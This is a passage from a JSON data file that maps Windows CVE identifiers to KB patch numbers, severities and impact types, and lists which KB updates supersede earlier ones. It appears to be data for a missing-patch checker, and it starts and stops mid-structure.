Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6127","kb":"3108669","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6131","kb":"3108669","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108371","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3104002","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3121918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3121918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3126593","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0063","kb":"3134814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3139914","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0189","kb":"3158991","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3237","kb":"3167679","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3197655","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7255","kb":"3194371","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012497","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"3216916","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0045","kb":"3205715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0101","kb":"4011981","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0143","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0199","kb":"4014793","severity":"Important","impact":"Remote Code Execution"}]},"kb_supersedes":{"2079403":["955069"],"2121546":["930178"],"2124261":["942830"],"2160329":["979559"],"2183461":["982381"],"2207566":["980436"],"2279986":["980218"],"2286198":["943460"],"2296199":["2279986","980218"],"2345304":["983444"],"2360131":["2183461"],"2360937":["982802"],"2378111":["979402"],"2387149":["924667"],"2393802":["981852"],"2412687":["958869"],"2416400":["2360131"],"2416447":["979906"],"2416469":["972593"],"2424434":["981997"],"2436673":["981957"],"2446704":["983583"],"2446708":["2160841"],"2446709":["983590"],"2447961":["954156","979332"],"2449741":["983588"],"2449742":["983589"],"2475792":["981332"],"2476490":["947890"],"2476687":["978037"],"2478953":["2207559","981550","982000"],"2478960":["943485"],"2478971":["977290"],"2479628":["2436673"],"2481109":["956744"],"2482017":["2416400"],"2483185":["2286198"],"2483618":["958469"],"2485376":["2296199"],"2485663":["2259922"],"2493987":["2345304"],"2497640":["2482017"],"2503665":["956803"],"2506223":["2479628"],"2507618":["2485376"],"2507938":["2121546","2476687"],"2508272":["980195"],"2508429":["982214"],"2509553":["945553","951748","956803"],"2510531":["971961","981332"],"2510581":["971961","981349"],"2510587":["971961","981350"],"2511455":["980232"],"2518863":["983587"],"2518864":["2446704","983583"],"2518865":["2449741","983588"],"2518866":["2449742"],"2518867":["2446709"],"2518869":["2446710"],"2518870":["2446708"],"2524426":["969883"],"2525694":["2506223"],"2525835":["2345316"],"2530095":["983582"],"2530548":["2497640"],"2536275":["2508429","975517"],"2536276":["2511455"],"2539631":["2478658"],"2539633":["2478660"],"2539634":["2478661"],"2539635":["2478662"],"2539636":["2478663"],"2544521":["938127"],"2544893":["2503658"],"2555917":["2506223","2525694"],"2556532":["981852"],"2559049":["2530548"],"2562485":["961063"],"2563894":["978886"],"2564958":["2476490"],"2567053":["2555917"],"2567680":["2121546","2507938"],"2571621":["2524426"],"2572066":["953295"],"2572067":["2416447"],"2572069":["953298"],"2572073":["983583"],"2572075":["983589"],"2585542":["980436"],"2586448":["2559049"],"2588516":["2563894"],"2592799":["2503665"],"2596911":["2493987"],"2601626":["981550"],"2604042":["2572066"],"2604044":["2656353"],"2604078":["2572069"],"2604092":["2518864","2572073","2633880"],"2604094":["2518866","2572075","2633874"],"2604114":["2518867","2572076","2633879"],"2604115":["2518869","2572077","2633873"],"2604121":["2518870","2572078","2633870"],"2616310":["982000"],"2617657":["2567053"],"2618444":["2586448"],"2618451":["2508272"],"2620712":["2476687"],"2621146":["2601626"],"2621440":["2570222"],"2626416":["2616310"],"2631813":["975562"],"2633171":["981852"],"2633870":["2539636"],"2633873":["2539635"],"2633874":["2539633"],"2633879":["2539634"],"2633880":["2539631"],"2636927":["2636927","2690729"],"2639417":["2567053","2617657"],"2641653":["2660465"],"2645640":["2503665","2592799"],"2646524":["2567680"],"2647170":["2562485"],"2647516":["2618444"],"2653956":["978601"],"2655992":["2585542"],"2656351":["2416472"],"2656352":["2418241"],"2656353":["2572067"],"2656355":["2416471"],"2656358":["2572069"],"2656362":["2416470"],"2657424":["2416473"],"2658846":["2665364"],"2659262":["2412687"],"2660465":["2639417"],"2675157":["2647516"],"2676562":["2641653"],"2685939":["2570222","2621440"],"2688338":["2588516"],"2690729":["2668562"],"2691442":["2286198"],"2698023":["2656353"],"2698032":["2572069"],"2698035":["2572066"],"2699988":["2675157"],"2705219":["958644"],"2706045":["2510531"],"2707511":["2556532","2633171"],"2709162":["2641653"],"2709715":["2556532"],"2712808":["961501"],"2716513":["2489256"],"2718523":["2709162"],"2719177":["2699988"],"2722913":["2699988"],"2723135":["2685939"],"2724197":["979683"],"2729449":["2572078","2633870"],"2729450":["2572073","2633880"],"2729451":["2572076","2633879"],"2729452":["2572077","2633873"],"2729453":["2572075","2633874"],"2731847":["2718523"],"2737019":["2656405"],"2742595":["2633870","2656368","2686827"],"2742596":["2633880","2656369","2686828","979909"],"2742597":["2656370","2698023"],"2742598":["2633879","2656372","2686830","979916"],"2742599":["2633873","2656373","2686831"],"2742601":["2633874","2656374","2686833","979910"],"2742604":["2604078","2656376","2698032"],"2742607":["2604042","2656378","2698035"],"2742613":["2729460"],"2743555":["956802"],"2744842":["2722913"],"2753842":["2507618"],"2757638":["2719985"],"2758694":["2721691"],"2758696":["2721693"],"2758857":["935839"],"2761226":["2731847"],"2761451":["2744842"],"2761465":["2761451"],"2772930":["2626416"],"2778344":["2778930","2779030"],"2778930":["2779030"],"2779030":["2761226"],"2780091":["975562"],"2789642":["2686827"],"2789643":["2686828"],"2789644":["2686830"],"2789645":["2686831"],"2789646":["2686833"],"2790113":["2567680"],"2790655":["2688338"],"2792100":["2761465","2799329"],"2797052":["2544521"],"2799494":["2724197"],"2801109":["2626416"],"2802968":["2476490"],"2804577":["979909"],"2804580":["979910"],"2808735":["2778344"],"2809289":["2792100"],"2813170":["2799494"],"2813345":["956744"],"2813347":["2483614"],"2814124":["2636927"],"2817183":["2797052","2809289"],"2829361":["2808735"],"2829530":["2817183"],"2832407":["2656405"],"2832411":["2604110","2656407"],"2832412":["2604105","2656409"],"2832414":["2656411"],"2833940":["2572073","983583"],"2833941":["2698023","2742597"],"2833946":["2572077"],"2833947":["2572075","983589"],"2833949":["2572069","2698032"],"2833951":["2572066","2742607"],"2834886":["2659262"],"2835361":["2658846"],"2835364":["2660649"],"2835393":["2572078"],"2838727":["2829530"],"2839229":["2813170"],"2839894":["2769369"],"2840628":["2656405"],"2845690":["2790655"],"2846071":["2838727"],"2847311":["2753842"],"2847559":["2814124"],"2850851":["2829361"],"2855844":["2835361"],"2858302":["2656351","2804576"],"2859537":["2813170","2839229"],"2861188":["2832407"],"2861193":["2835622"],"2861208":["2804582"],"2861697":["2657424"],"2861702":["2804583"],"2862772":["2846071"],"2863239":["2804577"],"2863240":["2804579"],"2863243":["2804584"],"2863253":["2804580"],"2864058":["2296011"],"2868623":["2845690"],"2870699":["2862772"],"2872339":["2790113"],"2875783":["2645640"],"2876217":["2624667"],"2876284":["2830290"],"2876315":["2850851"],"2876331":["956802"],"2879017":["2870699"],"2881068":["2837616"],"2883150":["2876315"],"2888505":["2879017","2884101"],"2890788":["2847559"],"2893984":["2883150"],"2898715":["2849470"],"2898785":["2888505"],"2898855":["2835393"],"2898856":["2833940"],"2898857":["2833946"],"2898858":["2833947"],"2898860":["2833949"],"2898864":["2833957"],"2898865":["2833958"],"2898866":["2833959"],"2900986":["2618451"],"2901110":["2656351"],"2901111":["2656352"],"2901113":["2656362"],"2901115":["2656358"],"2904659":["2868623"],"2904878":["2833951"],"2909210":["981332"],"2909212":["981349"],"2909213":["981350"],"2909921":["2898785"],"2913602":["2893984"],"2914368":["2440591"],"2916036":["2079403","2719985","2757638"],"2918614":["2442962"],"2922229":["2758857","2790113","2872339"],"2923392":["2772930"],"2925418":["2909921"],"2926765":["2691442","975713"],"2929961":["2845187"],"2930275":["2893984","2913602"],"2931352":["2898860"],"2931354":["2901113"],"2931356":["2901112"],"2932677":["2890788"],"2933528":["2626416","2801109"],"2936068":["2925418"],"2937608":["2656374","2686833","2789646","2804580","2833947","2844287","2863253","2898858"],"2937610":["2656373","2686831","2833946","2844286","2863240","2898857"],"2939576":["2916036"],"2943344":["2756919"],"2943357":["2756921"],"2953522":["2964358","2964444"],"2957189":["2868623","2904659"],"2957482":["2758696"],"2957503":["2834886","2901674"],"2957509":["2850869","981322"],"2957689":["2925418","2936068","2953522","2961851"],"2961072":["2503665","2645640","2875783"],"2961851":["2964444"],"2962872":["2963950"],"2963950":["2925418","2961851"],"2963952":["2963950"],"2964736":["2876331"],"2965155":["2876331"],"2966631":["2916036"],"2966825":["2789650","2804584","2833959","2844289","2863243","2898866","2901120"],"2966826":["2898868","2901125"],"2966827":["2756923"],"2971850":["2835364"],"2972098":["2633874"],"2972100":["2633873"],"2972105":["2633880"],"2972106":["2633870"],"2972207":["2898860"],"2972211":["2833946","2898857"],"2972212":["2833959","2898866"],"2972213":["2898868"],"2972214":["2833940","2898856"],"2972215":["2835393","2898855"],"2972280":["2929961"],"2973112":["2756921"],"2973113":["2756923"],"2973201":["2930275"],"2973906":["2930275"],"2973932":["2929961"],"2974268":["2833947","2898858"],"2974269":["2756919"],"2976627":["2962872","2963952"],"2976897":["2830290","2876284"],"2977629":["2976627"],"2978114":["2931352"],"2978121":["2931357"],"2978122":["2931358"],"2978124":["2932079"],"2978125":["2931365"],"2978126":["2931366"],"2978127":["2931367"],"2978128":["2931368"],"2978668":["2849470"],"2987107":["2977629"],"2989935":["967723"],"2992611":["2207566","2655992"],"2993254":["971032"],"2993651":["2930275","2964736","2973201"],"2993958":["2916036","2939576"],"3000061":["2930275"],"3000483":["2813170","2839229","3023266"],"3000869":["2584146"],"3002657":["2207559"],"3002885":["3000061"],"3003057":["2987107"],"3003743":["2207566","2965788"],"3004365":["3005607"],"3006226":["2476490"],"3008923":["3003057"],"3010788":["3000869"],"3011780":["2478971","977290"],"3012168":["2909213"],"3012172":["2909212"],"3012176":["2909210"],"3013455":["3002885"],"3019215":["946026"],"3021952":["3008923","3012168","3012172","3012176","3029449"],"3023211":["2898860"],"3023213":["2656374","2789646"],"3023215":["2656373","2686831"],"3023217":["2789650"],"3023220":["2656369","2789643"],"3023221":["2789642"],"3023223":["2789649"],"3023224":["2789648"],"3023266":["2813170","2829361","2839229","2859537"],"3023562":["2785220","2992611","3003743"],"3029944":["3013126"],"3030398":["3012172"],"3030403":["3012168"],"3030630":["3012176"],"3031432":["3023266"],"3032323":["2847311"],"3032359":["3021952","3034196","3036197"],"3032655":["2804579","2863240"],"3032662":["2804576"],"3033395":["2813170"],"3033890":["2378111"],"3034344":["3013455"],"3035017":["2965788"],"3035131":["3023562","3031432"],"3035132":["3029944"],"3035485":["2804580","2863253"],"3035486":["2804584","2863243"],"3037572":["2901115"],"3037573":["2901113"],"3037574":["2901112"],"3037575":["2901120"],"3037576":["2901125"],"3037577":["2901111"],"3037578":["2901110"],"3037579":["2901128"],"3037580":["2901127"],"3037581":["2901126"],"3038314":["3032359"],"3039066":["2691442","2926765","2962123"],"3045171":["3034344"],"3045999":["3033395","3035131","3046049"],"3046002":["2971850","2974286"],"3046049":["2992611","3023562"],"3046482":["2993958"],"3048068":["2832412","2861190"],"3048070":["2832414","2861191"],"3048071":["2832418","2861194"],"3048073":["2832411","2861189"],"3048074":["2656405"],"3049563":["3038314"],"3050514":["3023562"],"3050941":["2706045","3030630"],"3050945":["2510581","3030398"],"3050946":["2510587","3030403"],"3056819":["2932677"],"3057839":["3034344"],"3058515":["3049563"],"3059317":["3051768"],"3060716":["3035131","3045999","3050514","3067505"],"3061518":["3046049"],"3062577":["3062577"],"3063858":["2922229"],"3065822":["3058515"],"3067505":["3046049","3050514","3061518"],"3067904":["3035017"],"3068364":["3030630"],"3068368":["3030398"],"3068404":["3030403"],"3068457":["3002657"],"3069114":["3046002"],"3069392":["2964736","2965155","3046306"],"3069762":["3036493"],"3070102":["3057839"],"3071756":["3035131","3045999","3050514","3067505"],"3072303":["2861190","3048068"],"3072305":["3048070"],"3072306":["3048071"],"3072307":["3048072"],"3072309":["2656405","3048074"],"3072310":["3048077"],"3072311":["3048077"],"3072595":["2923392"],"3072630":["2918614"],"3072633":["2876217"],"3073921":["971468"],"3074541":["2656374"],"3074543":["2656373"],"3074547":["2656368"],"3075220":["2813345","2813347"],"3075221":["2813347"],"3075226":["3070738"],"3076895":["2939576","3046482"],"3077657":["3032323"],"3078071":["3076321"],"3078601":["3079904"],"3079757":["3039066"],"3079904":["3077657"],"3080333":["3056819"],"3080446":["3039066","3079757"],"3081320":["3061518","3067505"],"3081444":["3081436"],"3081455":["3081436","3081444"],"3084135":["2988948"],"3087038":["3078071","3081436","3081444","3087985"],"3087039":["3079904"],"3087135":["2957503"],"3088195":["3035131","3045999","3050514","3067505"],"3092601":["2961072","2973408"],"3093983":["3087038"],"3094995":["3068368"],"3094996":["3068368"],"3097617":["3081455","3087038"],"3097877":["3070102","3087135"],"3097988":["2979568"],"3097989":["2979570"],"3097991":["2979571"],"3097992":["2979573"],"3097994":["2979575"],"3097996":["2979578"],"3097997":["2979576"],"3098778":["2656351","2901110"],"3098779":["2901128"],"3098780":["2901127"],"3098781":["2901126"],"3099860":["3048068","3072303"],"3099862":["2861191","3048070"],"3099866":["3048074","3072309"],"3099869":["3048077","3072310"],"3100213":["3069114"],"3100465":["2647170"],"3100773":["3093983"],"3101246":["3011780","3050514","3067505"],"3101746":["3035131","3050514","3088195"],"3104002":["3100773"],"3105213":["3096448","3097617"],"3105578":["3068364"],"3105579":["3068368"],"3106614":["3080333"],"3108381":["3101246","3101746"],"3108669":["3087918"],"3108670":["2957509"],"3109094":["3097877"],"3109560":["2845187","2929961","2972280"],"3110329":["2631813","2780091","2803821","2845187","2887069","2929961","2972280","3005607"],"3115858":["3069114","3100213"],"3116869":["3105213"],"3116900":["3105211"],"3121212":["2620712","2633171","2644615","2724197","2799494","2813170","2839229","2859537","3035131","3045999","3088195","3101246","3101746"],"3121918":["2849470"],"3124000":["2567053","2617657","2639417","2641653","2660465","2709162","2718523","2731847","2761226","2778344","2778930","2779030","2808735","2829361","2850851","2876315","2883150","2893984","2913602","2930275","3000061","3002885","3013455","3034344","3057839","3070102"],"3124001":["3069392"],"3124263":["3116900"],"3124266":["3116869"],"3124275":["3104002"],"3124280":["3019215"],"3124624":["3105579"],"3124625":["3105578"],"3126036":["3106614"],"3126041":["3011780","3101246","3121918"],"3126446":["3035017","3067904","3069762"],"3126587":["3121918"],"3126593":["3121212"],"3127219":["2656374"],"3127220":["2656373"],"3133043":["3014029"],"3134214":["3124000"],"3134222":["3045711"],"3134814":["3124275"],"3135456":["3087088"],"3135982":["2863253","3035485"],"3135983":["2863240","3032655"],"3135984":["2863243","3035486"],"3135985":["3035487"],"3135987":["2832412","3099860"],"3135988":["3099862"],"3135989":["2832418","3099863"],"3135991":["3099864"],"3135994":["3032663"],"3135995":["3035489"],"3135996":["3035490"],"3137513":["3123294"],"3138910":["3033890"],"3138962":["3033890"],"3139852":["3134214"],"3139929":["3134814"],"3139940":["3006226","3072633"],"3140410":["3121212"],"3140709":["2620704"],"3140735":["3079904"],"3141083":["982666"],"3142030":["2978041"],"3142032":["2978042"],"3142033":["2972107"],"3142041":["3135987"],"3142042":["3135988"],"3142043":["3135989"],"3142045":["3135991"],"3143693":["3083186"],"3145739":["3139852"],"3146706":["3072633","3140410"],"3146723":["3023266","3121212"],"3146963":["2993958","3046482"],"3147458":["3140768"],"3147461":["3140745"],"3148198":["3139929"],"3149090":["3050514","3072595","3101246","3121918"],"3150220":["3108669"],"3153171":["3121212","3140410"],"3153199":["3139852","3145739"],"3153704":["2978668"],"3154070":["3148198"],"3154132":["3144756"],"3155413":["3124625"],"3156013":["3124001"],"3156017":["2976897"],"3156019":["3035132"],"3156387":["3147461"],"3156421":["3147458"],"3157569":["3137513"],"3158363":["3155413"],"3158364":["3158991"],"3158991":["3124624"],"3160005":["3154070"],"3160352":["2772930"],"3161561":["3050514","3101246","3121918"],"3161664":["3153199"],"3161951":["3100465"],"3163017":["3156387"],"3163018":["3156421"],"3163207":["3157993"],"3163912":["3163017"],"3164033":["3140735"],"3164035":["3156013"],"3167679":["3121918"],"3167685":["3163207"],"3168965":["3161664"],"3169658":["3158363"],"3169659":["3158364"],"3170106":["3160005"],"3170377":["3153171"],"3170455":["2712808","2839894"],"3172985":["3163018"],"3174060":["3167685"],"3175024":["2644615","3153171","3167679","3170377"],"3175443":["3170106"],"3175887":["3157569"],"3176492":["3163912"],"3176493":["3172985"],"3177108":["3050514","3068457","3101246"],"3177186":["2536275","3073921","3130896"],"3177725":["3168965"],"3178034":["2957503","3087135"],"3182373":["3126036"],"3183431":["3124280","3177725"],"3184122":["3006226"],"3184471":["2772930","3160352"],"3184943":["3175887"],"3185319":["3175443"],"3185330":["3175024"],"3185331":["3185319"],"3185332":["3192393"],"3185611":["3176492"],"3185614":["3176493"],"3185911":["3087135","3177725"],"3187754":["3167679"],"3188128":["3174060"],"3188726":["3142041"],"3188730":["3142042"],"3188731":["3142043"],"3188732":["3142045"],"3188735":["3142041"],"3188740":["3142042"],"3188741":["3142043"],"3188743":["3142045"],"3189039":["3099869"],"3189040":["3099874"],"3189866":["3176495"],"3191203":["3177725"],"3191256":["3175024","3177725"],"3191492":["3185319"],"3192391":["3124280","3139852","3140410","3145739","3153171","3153199","3161664","3167679","3175024","3177725","3178034","3185319"],"3192392":["3124280","3167679","3178034","3185319"],"3192393":["3145739","3153171","3153199","3154070","3161664","3168965","3170377","3177108","3177725","3178034","3185319","3187754"],"3192440":["3185611"],"3192441":["3185614"],"3193418":["3033889"],"3193713":["3182373"],"3194343":["3188128"],"3194371":["3177725"],"3194798":["3189866"],"3196718":["3184122"],"3196726":["3072630"],"3197655":["3191492"],"3197867":["2511455","2570947","3033889","3081320","3087039","3088195","3101246","3101746","3121212","3121918","3124000","3134214","3139852","3139940","3140410","3140735","3153171","3153199","3161664","3164033","3167679","3175024","3177725","3184122","3185319","3185330"],"3197868":["3185330"],"3197873":["3033889","3087039","3139940","3146706","3164033","3172727","3177108"],"3197874":["3185331"],"3197876":["3033889","3087039","3139940","3146706","3154070","3160005","3161664","3164033","3168965","3170106","3170377","3172727","3175443","3177108","3177725","3185319","3187754"],"3197877":["3197876"],"3198218":["3190847"],"3198234":["3177725"],"3198510":["3081320"],"3201860":["3194343"],"3202790":["3201860"],"3203621":["3191492"],"3203838":["3181707"],"3203859":["3164033"],"3204723":["3198234"],"3204724":["3164035"],"3204808":["3198510"],"3205408":["3072630","3108347","3164035","3168965","3170106","3175443","3177108","3177725","3185319","3185911","3187754"],"3205409":["3197877","3205408"],"3205638":["3164035"],"3207752":["3197868","3205394"],"3209498":["3202790"],"3212646":["3207752","3212642"],"3213986":["3206632"],"3214628":["3209498"],"3216775":["3198483"],"3216916":["3146963"],"3218362":["3193515"],"4010250":["3214628"],"4011981":["3198483"],"4012204":["3203621"],"4012214":["3187754"],"4012215":["3212646"],"4012216":["3205401","4014077"],"4012217":["3205409"],"4012497":["3204723"],"4012583":["3196348","3204724"],"4012598":["3177186"],"4012606":["3210720"],"4013198":["3210721"],"4013429":["3213986"],"4013867":["3193713"],"4014329":["4010250"],"4014652":["3214051"],"4014661":["4012204"],"4014793":["4011981"],"4014981":["3205402"],"4014982":["3205403"],"4014983":["3205404"],"4015068":["3184471"],"4015195":["3204723"],"4015217":["4013429"],"4015219":["4013198"],"4015221":["4012606"],"4015380":["3203859"],"4015383":["3178034"],"4015549":["4012215"],"4015550":["4012216"],"4015551":["4012217"],"4016871":["4015583"],"4017094":["4013867"],"4018196":["3100465"],"4018271":["4014661"],"4018466":["4012598"],"4018483":["4014329"],"4018556":["4011981"],"4018821":["3092601"],"4018885":["2957189"],"4019108":["3142037"],"4019109":["3142037"],"4019111":["3164024"],"4019112":["3135983","3142024","3216523","4014981"],"4019113":["2729462","2979577","3135984","3142025","3216522","4014982"],"4019114":["3135985","3142026","3216521","4014983"],"4019115":["3142023","3216520","4014984"],"4019149":["3156017"],"4019204":["4012497"],"4019206":["3204724"],"4019215":["4015550"],"4019216":["4015551"],"4019264":["4015549"],"4019472":["4015217"],"4019473":["4015219"],"4019474":["4015221"],"4020821":["4018483"],"4021558":["4018271"],"4021903":["3080446"],"4022008":["2839894"],"4022013":["4011981"],"4022714":["4019473"],"4022715":["4019472"],"4022719":["4019264"],"4022724":["4019216"],"4022725":["4016871"],"4022726":["4019215"],"4022727":["4019474"],"4022730":["4020821"],"4022746":["3011780"],"4022750":["4021923"],"4022883":["3203859"],"4022884":["3204724"],"4022887":["4012497"],"4023307":["4017094"],"4025240":["3216916"],"4025252":["4021558"],"4025331":["4022724"],"4025336":["4022726"],"4025338":["4022727"],"4025339":["4022715"],"4025341":["4022719"],"4025342":["4022725"],"4025344":["4022714"],"4025376":["4022730"],"4025409":["3184471"],"4025674":["2840149"],"4026059":["3181707","3203838"],"4034658":["4025339"],"4034660":["4025344"],"4034662":["4033813"],"4034664":["4025341"],"4034665":["4025331"],"4034668":["4025338"],"4034674":["4025342"],"4034681":["4025336"],"4034733":["4025252"],"4034741":["4011981"],"4034745":["3203838"],"4034786":["4019276"],"4035055":["4022887"],"4036586":["4034733"],"4038777":["4034664"],"4038781":["4034668"],"4038782":["4034658"],"4038783":["4034660"],"4038788":["4034674"],"4038792":["4034681"],"4038799":["4034665"],"4038806":["4034662"],"4038874":["4022013"],"4039266":["4021903"],"4039384":["4022887"],"4040685":["4036586"],"4040958":["2978126"],"4040959":["2978127"],"4040960":["2978128"],"4040964":["2978116"],"4040965":["2978121"],"4040966":["2978120"],"4040967":["2978122"],"4040971":["4014982","4019113","4032114","4035037"],"4040972":["4014983","4019114","4032115","4035038"],"4040973":["4014981","4014984","4019112","4019115","4032113","4032116","4035036","4035039"],"4040974":["4014983","4019114","4032115","4035038"],"4040975":["4014982","4019113","4032114","4035037"],"4040977":["4014981","4014984","4019112","4019115","4032113","4032116","4035036","4035039"],"4040978":["4014984","4019115","4032116","4035039"],"4040979":["4014982","4019113","4032114","4035037"],"4040980":["4014981","4019112","4032113","4035036"],"4040981":["4014983","4019114","4032115","4035038"],"4041676":["4038788"],"4041681":["4038777"],"4041689":["4038783"],"4041690":["4038799"],"4041691":["4038782"],"4041693":["4038792"],"4042050":["4034775"],"4042895":["4038781"],"4047206":["4040685"],"4047211":["4042067"],"4048951":["4049179"],"4048952":["4041689"],"4048953":["4041691"],"4048954":["4041676"],"4048955":["4042198"],"4048956":["4042895"],"4048957":["4041681"],"4048958":["4041693"],"4048959":["4041690"],"4048968":["4042122"],"4048970":["4042120"],"4049179":["4038806"],"4050795":["4042007"],"4052978":["4047206"],"4053577":["4049179"],"4053578":["4048952"],"4053579":["4048953"],"4053580":["4048954"],"4053581":["4048956"],"4054170":["3122654"],"4054171":["3122655"],"4054172":["3122656"],"4054174":["3122646"],"4054175":["3122655","3122658"],"4054176":["2973112","3122648"],"4054177":["3122651"],"4054181":["3122658"],"4054182":["3122660"],"4054183":["3122661"],"4054517":["4048955"],"4054518":["4048957"],"4054519":["4048958"],"4054520":["4048959"],"4054993":["4041085","4049017"],"4054994":["4041084","4049018"],"4054995":["4041083","4041086","4049016","4049017"],"4054996":["4041086","4049019"],"4054997":["4041084","4049018"],"4054998":["4041083","4049016"],"4054999":["4041085","4049017"],"4055000":["4041084","4049018"],"4055001":["4041085","4049017"],"4055002":["4041086","4049019"],"4056564":["4056448"],"4056568":["4052978"],"4056887":["4053577"],"4056888":["4053578"],"4056890":["4053579"],"4056891":["4053580"],"4056892":["4054517"],"4056893":["4053581"],"4056894":["4054518"],"4056895":["4054519"],"4056896":["4054520"],"4074588":["4056892"],"4074590":["4053579","4056890"],"4074591":["4056888"],"4074592":["4056891"],"4074593":["4056896"],"4074594":["4056895"],"4074595":["4056887"],"4074596":["4056893"],"4074598":["4056894"],"4074736":["4056568"],"4074880":["4041083","4049016"],"4088776":["4074588"],"4088779":["4074591"],"4088782":["4074592"],"4088785":["4056887"],"4088786":["4074596"],"4088787":["4074590"],"4088875":["4074598"],"4088876":["4074594"],"4088877":["4074593"],"4089187":["4074736"],"4092946":["4089187"],"4093107":["4088782"],"4093108":["4100480"],"4093109":["4088779"],"4093110":["4088785"],"4093111":["4088786"],"4093112":["4088776"],"4093114":["4088876"],"4093118":["4088875","4100480"],"4093119":["4088787"],"4093123":["4088877"],"4093223":["4056941"],"4093224":["4089344"],"4093478":["4073080"],"4094079":["4088827"],"4095872":["4055265","4074806","4076493"],"4095873":["4055267","4076495"],"4095874":["4055532","4076492"],"4095875":["4055266","4074807","4076494"],"4095876":["4055266","4074807","4076494"],"4096040":["4092946"],"4096416":["4055265","4074806","4076493"],"4096417":["4055266","4074807","4076494"],"4096418":["4055532","4076492"],"4096494":["4055265","4074806","4076493"],"4096495":["4055532","4076492"],"4101477":["3108381"],"4103716":["4093111"],"4103718":["4093118"],"4103723":["4093119"],"4103725":["4093114"],"4103727":["4093112"],"4103728":["4093109"],"4103729":["4088785"],"4103730":["4093123"],"4103731":["4093107"],"4103768":["4092946"],"4130944":["4073079"],"4131188":["4093224"],"4134651":["4018556"],"4230450":["4103768"],"4284815":["4103725"],"4284819":["4103727"],"4284826":["4103718"],"4284835":["4103721"],"4284855":["4103730"],"4284860":["4103716"],"4284874":["4103731"],"4284880":["4103723"],"4287903":["4103729"],"4338415":["4099635","4291497"],"4338416":["4099634","4291495"],"4338417":["4099633","4291493"],"4338418":["4099634","4291495"],"4338419":["4099635","4291497"],"4338420":["4099633","4099636","4291493","4291501"],"4338421":["4099634","4291495"],"4338422":["4099636","4291501"],"4338423":["4099633","4291493"],"4338424":["4099635","4291497"],"4338600":["2898871"],"4338613":["2898868"],"4338814":["4284880"],"4338815":["4284815"],"4338816":["4284855"],"4338818":["4284826"],"4338819":["4284835"],"4338821":["4284826"],"4338825":["4284819"],"4338826":["4284874"],"4338829":["4284860"],"4338830":["4284855"],"4338831":["4284815"],"4338832":["4287903"],"4339093":["4230450"],"4340583":["4093478"],"4343205":["4339093"],"4343885":["4338826"],"4343887":["4338814"],"4343892":["4338829"],"4343897":["4338825"],"4343898":["4338815"],"4343900":["4338818"],"4343901":["4338830"],"4343902":["4338832"],"4343909":["4338819"],"4344144":["4291495","4340557"],"4344145":["4291497","4340558"],"4344146":["4291493","4340556"],"4344147":["4291497","4340558"],"4344148":["4291495","4340557"],"4344149":["4291493","4291501","4340556","4340559"],"4344150":["4291495","4340557"],"4344151":["4291501","4340559"],"4344152":["4291493","4340556"],"4344153":["4291497","4340558"],"4344172":["4020506"],"4344173":["4020507"],"4344175":["3142025"],"4344176":["3142023"],"4344177":["3142024"],"4344178":["3142026","3142030"],"4345418":["4284880"],"4345419":["4284874"],"4345420":["4284819"],"4345421":["4284835"],"4345455":["4284860"],"4346877":["4345418"],"4457033":["4345591","4346081"],"4457034":["4345592","4346082"],"4457035":["4345593","4346083"],"4457036":["4345592","4346082"],"4457037":["4345591","4346081"],"4457038":["4345590","4346080"],"4457042":["4345591","4346081"],"4457043":["4345593","4346083"],"4457044":["4345590","4346080"],"4457045":["4345592","4346082"],"4457128":["4343909"],"4457129":["4343898"],"4457131":["4343887"],"4457132":["4343892"],"4457135":["4343901"],"4457138":["4343885"],"4457142":["4343897"],"4457144":["4343900"],"4457146":["4343902"],"4457426":["4343205"],"4462917":["4457131"],"4462918":["4457142"],"4462919":["4457128"],"4462922":["4457132"],"4462923":["4457144"],"4462926":["4457129"],"4462929":["4457135"],"4462937":["4457138"],"4462949":["4457426"],"4463097":["4458010"],"4465659":["4132216"],"4465660":[